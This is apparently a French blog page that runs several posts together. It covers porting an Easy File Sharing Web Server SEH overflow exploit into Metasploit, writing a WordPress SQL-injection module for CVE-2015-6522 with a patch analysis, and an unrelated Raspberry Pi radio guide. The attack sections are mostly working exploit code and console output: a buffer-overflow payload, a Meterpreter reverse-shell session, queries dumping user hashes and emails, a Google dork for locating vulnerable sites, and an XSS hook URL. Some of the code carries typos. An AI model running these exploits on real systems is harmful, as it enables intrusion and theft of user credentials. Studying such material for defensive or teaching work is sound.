     sploit  =  rand_text (4059)                  #  SEH at 4059 + 4
sploit << « \xeb\x06\x90\x90 »            # next SEH replaced by jmp short +6
sploit  <<  [target.ret].pack(‘V’      # SEH replaced by adress of pop pop ret
sploit  <<  make_nops (929)               #  a bunch of nops for teh fun
sploit  <<  payload.encoded                #  our payload

send_request_cgi ({
‘uri’          => normalize_uri (target_uri.path),
‘cookie’   => « SESSIONID=;   UserID=#{sploit} ; PassWD=; »,
     },    1)
   end
end

code-12.jpg

Nous disposons à présent d’un exploit fonctionnel. Grâce aux fonctions intégrées du framework, ce dernier gère également l’utilisation du protocole SSL, nativement, comme voulu initialement.

2.5 : Vérification de la présence de la vulnérabilité.
2.5.1 – Motivations :

Imaginons maintenant que l’éditeur publie une mise à jour corrigeant cette vulnérabilité (la dernière version, qui est vulnérable, a été publiée en octobre 2015). Nous souhaitons donc disposer d’une fonction nous permettant de vérifier simplement si le serveur présente la vulnérabilité.

Les modules Metasploit disposent à cet effet d’une commande check appelant leur méthode « check » lorsqu’elle est implémentée. Lorsqu’elle n’est pas implémentée, le message suivant sera renvoyé à l’utilisateur :

msf exploit(easyfilesharing_seh) > check
[*] 192.168.1.36:80 This module does not support check.

check.jpg

Le wiki du projet Metasploit comporte une page relativement riche, expliquant les bonnes pratiques du développement d’une fonction « check » digne de ce nom.

2.5.2 – Idée :

Il existe plusieurs moyens de déterminer le niveau de version d’Easy File Management Web Server. Le plus commode (bien qu’aisément falsifiable par un administrateur), consiste en la récupération du fichier whatsnew.txt à la racine du serveur web, et de lui appliquer une expression rationnelle (regex) puis extraire le numéro de version présent sur l’hypothétique contenu renvoyé : si ce numéro de version correspond à celui attendu, alors on renvoie que le service est vulnérable, sinon non.

2.5.3 – Implémentation :

Nous commençons par définir une méthode « check » dont la valeur de retour par défaut correspond à Exploit::CheckCode::Safe. D’après la documentation du projet Metasploit, cela signifie que la vulnérabilité n’a pas été détectée.

Nous appelons ensuite une fonction get_version chargée d’effectuer une requête HTTP type « GET » à l’aide de la fonction send_request_raw fournie par le mixin Msf::Exploit::Remote::HttpClient, visant à récupérer le fichier whatsnew.txt. Une fois ce fichier récupéré, une regex est appliquée sur son contenu à la recherche de la chaîne de caractères « new in Easy File Sharing Web Server 7.2 ». Si cette dernière est trouvée, cela signifie que nous sommes en présence d’une version 7.2. Sinon aucune version n’est renvoyée. En fonction de cette valeur de retour, la fonction check renverra Exploit::CheckCode::Appears, sinon Exploit::CheckCode::Unknow.

La raison pour laquelle, dans se cas, il est recommandé de renvoyé « Appears » et non pas « Vulnerable » est liée à la méthode de confirmation. En effet, d’après la documentation du projet Metasploit « Appears » est utilisé pour de la reconnaissance passive, ou à base de bannières, quand « Vulnerable » est utilisé lorsque la vulnérabilité est arrivée, et qu’il est possible de l’exploiter dans le but d’en tirer des preuves telles que le contenu d’un fichier présent sur le serveur, ou obtenir la sortie d’une commande dans le cas d’une injection de commandes.

Le code final de notre fonction est le suivant :

def get_version
     version = nil
     res = send_request_raw ({‘uri’ =>  ‘/whatsnew.txt’})
     if res && if res.body =~ /What’s new in Easy File Sharing Web Server V(\d\.\d)/
       version = $1
       vprint_status « #{peer}  – Found version:   #{version} »
     end     version
end# check whether it’s vulnerable…doesn’t work very well
def check
   code = Exploit::CheckCode::Safe
version = get_version
  if version.nil?
code = Exploit::CheckCode::Unknow
  elsif version == « 7.2 »
code = Exploit::CheckCode::Appears
endcode
end

code-13.jpg

2.6 : Vérification de la norme.

Chaque  développeur a ses propres habitudes de développement, que ce soit la convention de nommage des variables, l’indentation du code, la manière de découper les fonctions… Et évidemment, dans un projet de grande ampleur, sur lequel des centaines de développeurs sont amenés à contribuer, il est primordial que tout le monde se comprenne et code de la même manière.

C’est à cet effet que l’outil msftidy.rb est mis à disposition des contributeurs. Une fois notre module terminé, nous effectuons une passe de cet outil, afin de vérifier la conformité de notre code avec les conventions du projet Metasploit :

linuxfrench~root# ./msftidy.rb /usr/share/metasploit-framework/modules/exploits/windows/http/efs_fmws_changeuser_userid.rb

msftidy.jpg

Nous constatons ici un « warning » liés à une indentation irrégulière mais qui ne portera pas d’impact majeur à notre code et son exécution. (le problème ici est apparemment la version de Metasploit que j’utilise).
D’ailleurs, si une personne à la solution pour solutionner ce « warning », je suis à votre écoute….

3. TEST

msf > use exploit/windows/http/efs_fmws_changeuser_userid
msf exploit (efs_changeuser_userid) > set RHOST 172.16.70.132
RHOST => 172.16.70.132
msf exploit (efs_changeuser_userid) > set RPORT 443
RPORT => 443
msf exploit (efs_changeuser_userid) > set SSL true
SSL => true
msf exploit (efs_changeuser_userid) > check
[*] 172.16.70.132:443 The target appaers to be vulnerable.
msf exploit (efs_changeuser_userid) > set LPORT 8080
LPORT => 8080
msf exploit (efs_changeuser_userid) > run[*] Started reverse TCP handler on 172.16.70.1:8080
[*] Sending stage (957999 bytes) to 172.16.70.132
[*] Meterpreter session 1 opend (172.16.70.1:8080 -> 172.16.70.132:2017)
at 2016-26-12 23:24:53 +0200meterpreter >getuid
Server username : Win-EFJM5A\hackme

CONCLUSION :

Le portage de codes d’exploitation en provenance d’exploit-db vers Metasploit n’est pas si compliqué que ça, mais nécessite néanmoins de s’intéresser au langage Ruby (cadeau), ce qui n’est malheureusement pas du goût de tout le monde. Cela permet cependant de se concentrer sur l’aspect exploitation, sans se soucier de l’esthétique, comme les arguments de ligne de commandes, ou le transport (avec SSL).

D’autres améliorations sont envisageables et laissées en exercice aux lecteurs motivés, comme l’ajout de mécanismes de ROP visant à contourner DEP par exemple.

REMERCIEMENTS :

Merci à l’équipe Misc et à l’équipe Pentest Sogeti/ESEC. Puis à vous, lecteurs.

Maintenant, avec d’attaquer la partie BONUS de cette partir 2 de Metasploit avec l’émulateur HID TEENSY, Meterpreter et Powershell, je vais avant tout revenir sur l’essentiel. C’est à dire la base des commandes du terminal Bash de Linux.
À bientôt……

metasploit-534x462

Metasploit [2.1] – Exploitation ; Écriture d’un exploit pour un plugin WordPress.

Bonjour à tous.

Dans cet article je parlerais de : (encore merci à l’équipe Misc au passage…)

2.1 – L’écriture d’un exploit pour un plugin WordPress.
Initiez-vous à l’écriture d’un module d’exploitation en partant d’une vulnérabilité « très simple » : Une injection SQL dans un plugin WordPress.

2.2 – De la preuve de concept au module Metasploit.
Approfondissez vos connaissances sur les développements des modules via un second exemple exploitant un buffer overflow dans l’application « Easy File Sharing Web Server« .

2.3 – [BONUS] Émulateur HID Teensy & Meterpreter Metasploit en Powershell.
Redécouvrez le grand classique de la clef USB injectant un code malveillant, mis au goût du jour avec Metasploit.

Voilà ce qui nous donnes pas mal de choses à apprendre et à développer ensemble. 

metasploit.png

1 ] Écriture d’un exploit pour un plugin WordPress :

Metasploit est un outil communautaire mis à jour quotidiennement par ses utilisateurs, et c’est entre autres (comme Linux) ce qui fait sa force. Cette première partie de l’article explique comment contribuer à Metasploit à partir d’une CVE en utilisant un exemple « simple » : une injection SQL .

INTRODUCTION :

Quiconque ayant quelques notions de programmation est capable d’écrire un module pour Metasploit. Il n’est pas nécessaire d’avoir des connaissances étendues en informatique, on peut « simplement » traduire les CVEs (Common Vulnerability and Exposure) existantes en module MSF (Metasploit Framework). De plus, les CVEs sont souvent accompagnées de bouts de code permettant l’exploitation de la vulnérabilité, ce qui facilite la tâche d’écriture du module. Cet article portera sur l’écriture d’un module pour Metasploit, à partir d’une CVE concernant une injection SQL dans un plugin WordPress. Vous trouverez aussi quelques rappels sur les CVEs, l’explication du code du module, une démonstration (j’espère. J’y travail en tous cas ! car j’y tiens) du module et quelques exemples d’exploitation Web à l’aide de Metasploit.

1 ) PRÉSENTATION DE LA CVE EXPLOITÉE :

1.1 – Comment trouver les CVEs ?

Les CVEs sont maintenues par la société MITRE. C’est une société américaine à but non lucratif de recherche et développement. Ce groupe est parrainé par le gouvernement fédéral américain.

Cette liste de vulnérabilités regroupe toutes les corrections apportés aux applications (c’est à dire qu’elle indique toutes les corrections sur les mises à jour logicielles) : elle est donc assez conséquente. Le site possède une fonction de recherche qui permet de recherche à partir du nom d’un logiciel, toutes les vulnérabilités correspondantes à celui-ci.

On peut déjà voir un certains nombre de CVEs avec de moyens d’attaque différents, ainsi qu’une description des attaques possibles.

Une fois la CVE cible sélectionné, le site indiqué donne de plus amples informations, comme le moyen utilisé pour réaliser l’attaque (injection SQL, XSS,CSRF…), l’impact sur l’intégralité, ect.

En effet, il existe différents types d’attaques. Cet exemple ne couvre que les attaques portant sur une application Web.

enterprise
XSS (Cross site scripting) est une injection de code malicieux dans une page Web. Elle peut être faite en Javascript (le plus souvent) ou en HTML, et peut être persistante (stockée sur le serveur) ou non. L’exploitation d’une faille XSS permet par exemple de voler les cookies (vol de session), de faire des actions utilisateur à la place de celui-ci, de rediriger l’utilisateur vers un site frauduleux (phishing).

CSRF (Cross Site Request Forgery) est une attaque qui vise à forcer l’utilisateur à réaliser une action choisie à son insu sur un site sur lequel il est authentifié.

Sur le site du MITRE, d’autres liens peuvent correspondre aux références trouvées afin de « prouver » que la source est sûre. Pour la CVE choisie pour cet article, il n’y a qu’une seule référence qui point sur le cite : exploit-db / qui est en lien avec le système d’exploitation Kali Linux pour « l’offensive security » .

Pour plus d’informations sur l’exploit, on peut également se rendre sur le site de la NVD (National Vulnerability Database). Ce site est la propriété du NIST (National Institute of Standards and Technologie), qui permet de voir avec plus détails les capacités d’exploitation d’un exploit. Il reprend les informations trouvées sur le MITRE, mais permet également d’avoir des « scores » par rapport au degré d’impact sur l’intégralité, la difficulté à réaliser l’attaque, le ou les moyens permettant de réaliser celle-ci, le nombre de connexions dont l’attaquant à besoin, le degré de dégradation de données chez la victime.

who-created-manages-nist-800
1.2 – La CVE 2015-6922 :

La CVE exploitée concerne le plugin WP Symposium de WordPress. Ce plugin est gratuit et permet d’avoir une fonction de chat sur son site Web. il existe également une version payante de celui-ci donnant des fonctionnalités supplémentaires.

Cette CVE porte le numéro 2015-6522, car elle a été découverte en 2015. La vulnérabilité est exploitable sur les versions du plugin inférieures à la version 15.8.

La version pro du plugin possède plus de 41 000 téléchargements et 31% d’entre eux correspondent à une version antérieure à la version 15.12 (source/ à la date du 25/06/2016). On peut ainsi estimer le nombre d’utilisateurs des versions inférieurs à la version 15.8 (et donc potentiellement vulnérables) à au moins 15%.

MITRE indique que pour cette faille il faut réaliser une injection SQL, ce qui signifie que l’attaque sera réalisée sur la partie base de données du site au travers de l’accès Web à ce serveur.

En se rendant sur le site de la NVD, il est possible d’avoir des informations supplémentaires par rapport à la difficulté d’exploitation de la CVE .

cve-1cve-2cve-3

Le « Base score » est de 7.5/10. Ce score étant assez élevé, la vulnérabilité est grave.

L’évaluation de ce score se fait en prenant compte les informations suivantes :

=> Access Vector : le « moyen » qu’un attaquant doit utiliser pour exploiter la vulnérabilité (être dans le même réseau ou être dans un réseau distant par exemple).

=> Access Complexity : la complexité d’implémentation en module pour la CVE (une injection SQL est généralement plus simple qu’un « buffer overflow »).

=> Authentication : le nombre de fois qu’un attaquant doit se connecter à la machine avant de réussir son attaque (permet de mesurer la trace laissée sur les logs de connexion).

=> Confidentiality Impact : cette mesure est évaluée selon l’accès qu’offre l’attaque (accès total aux informations ou accès partiel).

=> Integrity Impact : cela concerne le degré de dégradation (complet, partiel ou inexistant) des données présentes sur le système (par exemple, une dégradation complète permet de modifier n’importe quel fichier sur le système attaqué).

=> Availability Impact : c’est l’impact sur la disponibilité (par exemple, rendre le système complètement inaccessible).

Pour plus d’informations sur ces critères, vous pouvez vous rendre ici.

cvss_web
Avec ces informations, on sait que les données que l’on peut récupérer en exploitant la vulnérabilité sont sensibles, pouvant même aller jusqu’aux données utilisateurs telles que leur e-mail et mot de passe hashé.

La faille de sécurité est assez grave, car on peut grâce à elle :

=> divulguer des informations non autorisées (exemple – mot de passe utilisateur si il est possible de le retrouver depuis le hash).

=> modifier des éléments dans les tables de la base de données (permettre de se donner les droits administrateurs par exemple).

=> interrompre le service (supprimer les tables de la base de données du site).

Il n’est pas nécessaire d’être enregistré comme utilisateur du site Web pour exploiter cette vulnérabilité. Un simple accès suffit.

2) ÉCRITURE DU MODULE PERMETTANT L’EXPLOITATION DE LA CVE :

Lors de l’installation de Metasploit, un dossier nommé « .msf4 » à dû être crée. Il contient plusieurs dossiers, dont le dossier « modules« . C’est donc dans ce dossier qu’il faudra ajouter les modules à charger. Ainsi, en démarrant Metasploit, les modules seront chargés automatiquement.

L’injection SQL se fait à partir du paramètre size de la requête CGI réalisée vers le serveur. Pour implémenter la CVE 2015-6522, on peut écrire le code ci dessous :

01 : ##
02 : # This module requires Metasploit: http://metasploit.com/download
03 : # Current source: https://github.com/rapid7/metasploit-framework
04 : ##
05 : require ‘msf/core’
06 : class Metasploit3 < Msf::Auxiliary
07 : include Msf::Exploit::Remote::HTTP::Wordpress

Ces premières lignes permettent d’inclure les bibliothèques nécessaires au développement du module; Ce sont à la fois des bibliothèques générales (ligne 5) et des bibliothèques spécifiques (ligne 7). Les bibliothèques générales permettent, par exemple, d’utiliser la fonction send_request_cgi (cette fonction permet d’envoyer une requête CGI), et les bibliothèques spécifiques, elles, permettent par exemple d’utiliser des variables prédéfinies comme wordpress_url_plugins (par défaut, l’url du dossier contenant les plugins est : wordpress\wp-content\plugins).

08 : def initialize(info = {})
09 : super(update_info(info,
10 : ‘Name’   => ‘Wordpress SQL Injection via wp-symposium plugin.’,
11 : ‘Description’ =>  %q{
12 : The module exploits an sql injection flaw from the size parameter in the
13 : get_album_item.php file. The module displays information about the users of
14 : wordpress (login, hashed password, email) contained in the wp_users table.
15 : The flaw is corrected from the version 15.8.
16 : },

Ce morceau de code permet de définir le début de la fonction initialize. Pour rappel, cette fonction affiche certaines informations comme, par exemple, la description du module ou même le lien vers la référence de la CVE. La fonction est appelée lorsque l’on exécute la commande info dans Metasploit. Le nom du module et sa description sont décrits.

17 : ‘Reference’ =>
18: [
19:    [‘CVE’, ‘2015-6522’]
20 : ],
21 : ‘DisclosureDate’ => ‘Aug 19 2015’
22: ))
23 : end

Pour finir avec la fonction initialize, on trouve les références ainsi que la date de découverte de cette CVE.

Dans la suite du code, la fonction run est définie. C’est cette fonction qu’il faut exécuter pour lancer l’exécution du module.

24 : def run
25 :   begin
26 :      res_req = send_request_cgi ({
27:           ‘uri’   => normalize_uri(wordpress_url_plugins, ‘wp-symposium’, ‘get_album_item.php’),
28 :       ‘method’ => ‘GET’,
29 :       ‘vars_get’ => {
30 :       ‘size’ => « count(*) FROM wp_users;–« 
31 :       }
32:      })
33 :   rescue => e
34 :    return
35 :  end

Dans cette première partie de fonction, une requête CGI est envoyée. La valeur prise par le paramètre size permet d’exécuter la requête SQL suivante : SELECT count(*) FROM wp_users. C’est grâce à cette requête que nous pouvons le nombre d’utilisateurs présents dans la base de données.

36 :   begin
37 :      nb_users = Integer(res_req.body)
38 :   rescue => e
39 :      print_error(« Unable to access the wp_users database. »)
40 :     return
41 :    end

Ces quelques lignes permettent de vérifier qu’un entier a bien été récupéré (le nombre d’utilisateurs). En effet, si l’application Web cible ne contient pas la faille, alors la requête précédente ne permet pas d’accéder à la base de données et le programme s’arrête.

42 : print_good(« Login     Hashed Password   Email »)
43 : for i  in  0..nb_users-1

Il y a autant de tours de la boucle for que d’utilisateurs présents dans la base de données.

44 :       begin
45 :          res_req = send_request_cgi ({
46 :           ‘uri’ => normalize_uri (wordpress_url_plugins, ‘wp-symposium’,
‘get_album_item.php’),
47 :           ‘method’ => ‘GET’,
48 :           ‘vars_get’ =>  {
49 :              ‘size’ => « user_login FROM wp_users ORDER BY ID LIMIT OFFSET
#{i};–« 
50 :             }
51 :           })
52 :        rescue => e
53 :          return
54 :        end
55 :
56 :       print (« #{res_req.body} »)

Ce bout de code reprend le même principe que précédemment : il s’agit d’une requête CGI dans laquelle le paramètre size prend une valeur permettant de récupérer le login de l’utilisateur. Ce login est affiché à la ligne 56.

57 :    begin
58 :      res_req = send_request_cgi ({
59 :         ‘uri’  =>  normalize_uri (woordpress_url_plugins, ‘wp-symposium’,
‘get_album_item.php’),
60 :           ‘method’ => ‘GET’,
61 :           ‘vars_get’ =>  {
62 :              ‘size’ => « user_pass   FROM wp_users ORDER BY ID LIMIT OFFSET
#{i};–« 
63 :             }
64 :           })
65 :        rescue => e
66 :          return
67 :        end
68 :
69 :       print (« \t#{res_req.body} »)

Il s’agit encore d’une requête CGI. Cette fois-ci elle permet de récupérer le mot de passe de l’utilisateur protégé par une fonction de hachage. Celui-ci est affiché à la ligne 69.

70 :         begin
71 :             res_req = send_request_cgi ({
72 :               ‘uri’  =>   normalize_uri (wordpress_url_plugins,  ‘wp-symposium’,
‘get_album_item.php’),
73 :               ‘method’     =>    ‘GET’,
74 :               ‘vars_get’   =>   {
75 :                 ‘size’  =>  « user_email   FROM  wp_users   ORDER  BY   ID  LIMIT  1 OFFSET
#{i};–« 
76 :                    }
77 :                   })
78 :               rescue   =>  e
79 :                  return
80 :               end
81  :
82 :               puts (« \t#{res_req.body} »)
83 :          end
84 :       end
85 :  end

Pour finir, ces dernières lignes permettent l’exécution d’une requête CGI ayant pour but de récupérer l’adresse mail de l’utilisateur. Cette adresse est affiché à la ligne 82.

Ce module permet donc de récupérer le login, le mot de passe hashé ainsi que l’adresse mail de tous les utilisateurs présents dans la base de données.

3 ) DÉMONSTRATION :

Cette démonstration est faite sur un site local car pour rappel ! il est totalement illégal d’exécuter ce code sur une application Web si vous n’en avez pas l’autorisation (article R323-1 à R323-5 du Code Pénal).

# msfconsole
msf > use auxiliary/sqli/wordpress/wp_symposium
msf auxiliary(wp_symposium) > set RHOST « IP CIBLE« 
msf auxiliary(wp_symposium) > set targeturi /

Il faut choisir l’adresse du site web à attaquer à l’aide de la commande set RHOST et l’URI de la racine de WordPress à l’aide de la commande set targeturi.

On lance finalement l’exécution du programme, qui affichera la liste des champs voulus pour tous les utilisateurs présents dans la base de données :

msf auxiliary(wp_symposium) > run

La base de données utilisée en exemple contient uniquement 2 utilisateurs et ses données ont pu être récupérées grâce au module écrit précédemment.

Dans cet exemple, on récupère uniquement le login, le mot de passe hashé et l’adresse mail des utilisateurs. Cependant, il est possible de récupérer d’autres informations dans cette table comme, par exemple, le statut de l’utilisateur (administrateur, auteur, éditeur, ect.) . Récupérer le statut peut permettre de cibler certains utilisateurs, notamment les administrateurs. Pour cela, il suffirait d’exécuter une autre requête CGI dans laquelle le paramètre size aurait une valeur   user_status     FROM       wp_users        ORDER      BY   ID     LIMIT 1 OFFSET #{i};– .

Il est également possible de récupérer des informations d’une table autre que la table wp-users . Par exemple, le plugin WP Symposium possède tables dont la table wp_symposium_comments. On peut donc récupérer tous les commentaires qui ont été écrits. Pour cela, il suffit de modifier la valeur du paramètre size afin de récupérer le contenu de la colonne comment.

Cette faille est vraiment intéressante car elle permet de récupérer tout un tas d’informations allant des informations inutiles aux informations plutôt sensibles.

Pour cet exemple, il est pratique d’utiliser des Google dorks (recherche Google utilisant des opérateurs spécifiques et des techniques de recherches avancées pour trouver des informations sensibles qui se sont retrouvées indexéesarticle en cours d’écriture). en effet, pour trouver les sites utilisant ce plugin, il suffit de faire une « simple » recherche avec inurl:wp-content/plugins/wp-symposium.

4 ) ANALYSE DU PATCH :

L’analyse de patch permettant de corriger la vulnérabilité est intéressante, car cela permet de voir les erreurs commises par le développeur et de comprendre pourquoi la faille est présente.

Pour ce faire, il faut comparer le code des deux versions : version 15.5.1 (vulnérable) et version 15.8 (non vulnérable).

=> version 15.5.1 :

<!–?php
include_once (‘../../../wp-config.php’) ;
global $wpdb;
$iid  =  $_REQUEST[‘iid’];
$size   =  $_REQUEST[‘size’];
$sql =  « SELECT  « .$size. »  FROM  « .$wpdb->base_prefix. »symposium_gallery_items WHERE iid  =  %d »;
$image = $wpdb->get_var($wpdb->prepare ($sql,  $iid));
header (« Content-type:  image/jpeg »);
echo stripslashes ($image);
?>

=> version 15.8 :

<!–?php
include_once (‘../../../wp-config.php’) ;
global $wpdb;
$iid  =  $_REQUEST [‘iid’];
$size   =  $_REQUEST [‘size’];
if  ($size  ==   ‘original’  ||  $size == ‘photo’   ||  $size  ==   ‘thumbnail’)  {
$sql =  « SELECT  « .$size. »  FROM  « .$wpdb->base_prefix. »symposium_gallery_items WHERE iid  =  %d »;

$image = $wpdb->get_var ($wpdb->prepare ($sql,  $iid));
header (« Content-type:  image/jpeg »);
echo stripslashes ($image);
?>

=> version 15.8 :

<?php
include_once (‘../../../wp-config.php’) ;

global $wpdb;
$iid  =  $_REQUEST[‘iid’];
$size   =  $_REQUEST[‘size’];
if  ($size  == ‘original’  ||  $size == ‘photo’   ||  $size  ==   ‘thumbnail’)  {
$sql =  « SELECT  « .$size. »  FROM  « .$wpdb->base_prefix. »symposium_gallery_items WHERE iid  =  %d »;
$image = $wpdb->get_var($wpdb->prepare ($sql,  $iid));
header (« Content-type:  image/jpeg »);
echo stripslashes ($image);
}   else    {
echo ‘incorrect size :  ‘  $size;
}
?>

Le début de code reste inchangé : on récupère les informations de la requête par la méthode GET dans les variables $iid et $size.

Une fois les informations récupérés, il y ici un changement : avant d’écrire la requête SQL dans la variable $sql comme le fait la version vulnérable, il y a une vérification préalable sur le contenu récupéré dans $size. Il y a une vérification  sur les diverses catégories accessibles :

=> $size  ==  ‘original’
=> $size  ==  ‘photo’
=> $size  ==  ‘thumbnail’

Si $size contient l’une de ces différentes chaînes alors c’est que la requête peut être effectuée sans problème , car il n’y aura pas la possibilité d’insérer de code malveillant dans la requête.

On poursuit ensuite le code comme dans la version vulnérable  sans qu’il n’y ait possibilité de « fuite » de données via une requête SQL manipulée par l’attaquant en se servant de $size.

Si $size ne contient pas l’une de ces différentes chaînes alors ‘incorrect size : ‘ suivi du contenu de la variable $size est affiché. La requête n’est donc pas effectuée et le code malveillant potentiel ne peut être exécuté dans la requête SQL afin de récupérer des informations de la base de données.

5 ) EXPLOITATION WEB :

Dans le module précédent, il est seulement possible de récupérer le login, le mot de passe hashé ainsi que l’e-mail des utilisateurs. Il est bien entendu possible de modifier le code du module afin de pouvoir par exemple récupérer toutes les informations présentes dans la base, ou seulement celles qui nous intéressent, ou ajouter des fonctionnalités.

De plus, l’exemple qui est utilisé est spécifique à WordPress, mais Metasploit permet des attaques génériques sur MySQL et ce très facilement (à noter que l’attaque qui suit n’est possible qu’au travers d’un accès direct au serveur : accès réseau exposé ou accès local host après compromission de la machine hébergeant le serveur).

L’auxiliaire suivant :

msf > use auxiliary/scanner/mysql/mysql_login

Permet de réaliser une attaque bruteforce (en fournissant une liste de login/mot de passe) sur les comptes MySQL. Une fois qu’au moins un compte a été trouvé, on peut se connecter à la base et en faire ce que l’on veut suivant les permissions du compte, ou énumérer les comptes MySQL et les mots de passe hashés de ces comptes à l’aide du module suivant :

msf > use auxiliary/scanner/mysql/mysql_login

De manière générale, Metasploit possède des outils pour scanner les vulnérabilités d’un site web, notamment wmap (basé sur sqlmap) qui permet de scanner un site Web, d’afficher des informations/vulnérabilités intéressantes à son sujet :

Exemple d’informations intéressantes après un scan :

msf> load wmap
msf >
wmap_vulns -l

load-wmap

Ici, après l’exécution de cette commande, on pourrait y voir des dossiers pouvant présenter des vulnérabilités ou contenir des informations sensibles.

Exemple de vulnérabilités après un scan :

msf > vulns

Metasploit affiche même les références des CVEs pour la vulnérabilité trouvée, ce qui permet un audit rapide et efficace. On peut imaginer écrire un scanner spécifique à WordPress (il en existe déjà, mais ils ne sont pas implémentés dans Metasploit), qui référence toutes les CVEs relatives aux plugins, et permet un audit plus simple des sites utilisants ce framework. Ainsi, suivant la portée des vulnérabilités trouvées, il sera possible d’extraire des données de la base, voire de l’altérer. Dans le pire des cas, c’est tout le serveur qui héberge le site web qui peut être compromis.

Metasploit permet aussi d’exploiter d’autres failles que les injections SQL. Par exemple, les failles XSS peuvent être facilement exploitées, grâce à un plugin appelé XSSF qui vous restera pu qu’à télécharger et à copier les fichiers/répertoires à leurs places dans votre dossier « plugins » avec les autres et le nommer « xssf.rb ». Une fois le code copié, vous n’avez pu qu’à le charger de la façon suivante (comme nous avons fait avec « pentest.rb » dans la partie 1 – Metasploit : Prise en main):

$ cd /usr/share/metasploit-framework/
$ cp /home/user/Downloads/XSSF.zip /usr/share/metasploit-framework/
$ sudo -s
# cp -R -f (tout les fichiers et répertoires)
# msfconsole
msf > load xssf

plugins xssf-3.1.jpg

On peut avoir accès aux URLs du serveur, et des différentes pages Web de l’interface :

msf > xssf_urls

plugins-xssf-3

Le principe est le suivant : on recherche un site vulnérable aux faille XSS (par exemple, grâce aux CVEs), on injecte un code malicieux dans l’URL, que l’on envois ensuite à nos cibles, et on utilise les différents modules dont on dispose. Par exemple, on envoie l’URL suivant à notre victime :

http://192.168.31.132/dwa/vulnerabilites/xss_r/?name=http://192.168.31.132:888/loop?interval=5

Le script malicieux est contenu dans le paramètre name, et connecte le navigateur de la victime au serveur XSSF.

On peut remarquer que l’interface est simple, mais efficace. XSSF étant écrit par un français, il est même possible de changer l’anglais vers le français. On a accès aux différentes commandes en cliquant sur « HELP ».

Maintenant que la victime est vulnérable, on peut lancer un module. Par exemple, il est possible d’afficher une boîte de dialogue en utilisant le module suivant

msf > use auxiliary/xssf/public/misc/prompt

Puis on choisit le message à afficher . ‘Linux French’, puis on lance le run :

msf auxiliary(prompt) > set PromptMessage ‘Linux French
PromptMessage => Linux French
msf auxiliary(prompt) > run

plugins-xssf-4

La boite de dialogue avec écrit ‘Linux French’ (ou ce que vous voulez bien sur) devrait s’afficher sur le navigateur de la victime .

CONCLUSION :

Finalement, l’écriture d’un module pour Metasploit n’est pas aussi compliqué qu’il n’y paraît. Avec quelques notions de programmations, et en commençant par quelques CVEs simple pour se faire la main, on peut rapidement écrire des modules beaucoup plus complets, comme ceux qui sont déjà présents, et devenir un contributeur à part entière dans la communauté de Metasploit.

À bientôt pour la partie 2.2 : De la preuve de concept au module Metasploit.

(et encore merci à l’équipe Misc. À bientôt, et merci……)

radiopi

Raspberry PI – Créer une radio internet portable.

Transformer votre Raspberry Pi en une radio portable qui reçoit le signal en Wi-Fi.(des milliers de radios libres émettent sur internet. Avec ce projet vous pourrez toutes les écouter à travers un mini-appareil. Voici comment procéder pour réaliser notre radio avec juste Raspberry Pi, une enceinte et une série de composants.)

Vous allez avoir besoin de :

=> une connexion internet sans fil
=> 2 boutons pressoirs
=> 4 câbles femelle-mâle
(pour connecter votre Pi à une planche de montage)
=> 2 résistances 220 ohm
=> 4 câbles mâle-mâle
=> une enceinte (connecté à la prise casque 3.5 mm)

01 ) Préparer le terrain :

Nous devons tout d’abord préparer notre Pi. Avec la distribution Raspbian et un Pi connecté à internet, ouvrez un terminal et basculez vers l’utilisateur root pour ensuite mettre à jour la liste des packages, ainsi que votre Pi avec ses derniers éléments :

$ sudo su
# apt-get update && apt-get upgrade -y

02 ) Installations des packages nécessaires :

Nous devons installer les packages Python pour accéder au GPIO, ainsi que Mplayer pour la lecture audio. Dans votre terminal, toujours en tant que super-utilisateur root, exécutez :

# apt-get install python-rpi.gpio
# apt-get install mplayer

#############################################################
Voici le script qui gère la diffusion audio et qui permet la liaison entre le GPIO et Mplayer
#############################################################

1 #! /usr/bin env python
2 import time import sleep
3 import os
4 import RPi.GPIO as GPIO
5 # On retrouve de nombreuses radios gratuites sur http://bbcstreams.com/
6 GPIO.setmode(GPIO.BCM)
7 GPIO.setup(23 , GPIO.IN)
8 GPIO.setup(24 , GPIO.IN)
9 while True:
10          if GPIO.input(23)==1:
11                os.system(‘sudo killall mplayer’)
12               os.system(‘mplayer -playlist http://bbc.co.uk/radio/listen/live/r1.asx &’)
13           if GPIO.input(24)==1:
14               os.system(‘sudo killall mplayer’)
15               os.system(‘mplayer -playlist http://bbc.co.uk/radio/listen/live/r6.asx &’)
16           sleep(0.1);
17 GPIO.cleanup()


Description du code
:

Ligne 4 – 6  ; nous importons la bibliothèque GPIO du RPi et nous utilisons le système de numérotation BCM.

Ligne 7 – 8  nous utilisons ici les broches 23 et 24, qui contrôlent le choix de la station radio.

Ligne 10 – 12 ;  nous indiquons ici les commandes à exécuter lorsqu’on l’on presse le bouton 23.

Ligne 14 – 15 ; le script termine ici tous les processus Mplayer ouverts puis charge la station radio.

radiopiwiring

###############################################################

03 ) Configuration du matériel :

Nous utiliserons les broches 23 et 24 du GPIO pour brancher les deux boutons pressoirs. Vous aurez besoin de 4 câbles femelle-mâle pour connecter les broches 23, 24, 3v3 et GND du GPIO à la planche de montage. Vous devrez également utiliser 4 câbles mâle-mâle et 2 résistances de 220 ohm. Reportez-vous au diagramme pour brancher les éléments.

04 ) Configuration des logiciels :

Copiez le code source écrit plus haut dans un fichier que vous nommerez radio.py et placez-le dans votre dossier personnel – nous utiliserons ce code pour démarrer, mais n’hésitez pas à l’adapter à vos besoins par la suite.
Ouvrez un terminal, basculez en root, puis modifiez le fichier de configuration de l’interface réseau : nano /etc/network/interfaces

05 ) Configuration Wi-Fi :

Je souhaite que votre Pi se connecte automatiquement au routeur en Wi-fi au démarrage. Modifiez votre fichier /etc/network/interfaces comme suit :

auto lo
iface lo inet loopback
iface eth0 inet dhcp
allow-hotplug wlan0
auto wlan0
iface wlan0 inet dhcp
wpa-ssid « ssid »
wpa-psk « password »

06 ) Configuration du démarrage de la radio :

Dans un terminal, en tant que root, rendez vous dans /etc/init.d puis créez le fichier radio avec votre éditeur de texte favoris :

$ sudo nano radio
(dans ce fichier, saisissez ces lignes 🙂
#! /bin/bash
modprobe snd_bcm2835
amixer cset numid=3 1
python /home/pi/radio.py

Vous chargez ainsi le module du noyau pour le mixeur de la carte son, en assignant la sortie à la prise casque 3.5 mm (c’est le rôle de la valeur 1, HDMI correspond à 2). Enfin, on appelle le script Python.

07 ) Rendre le script exécutable :

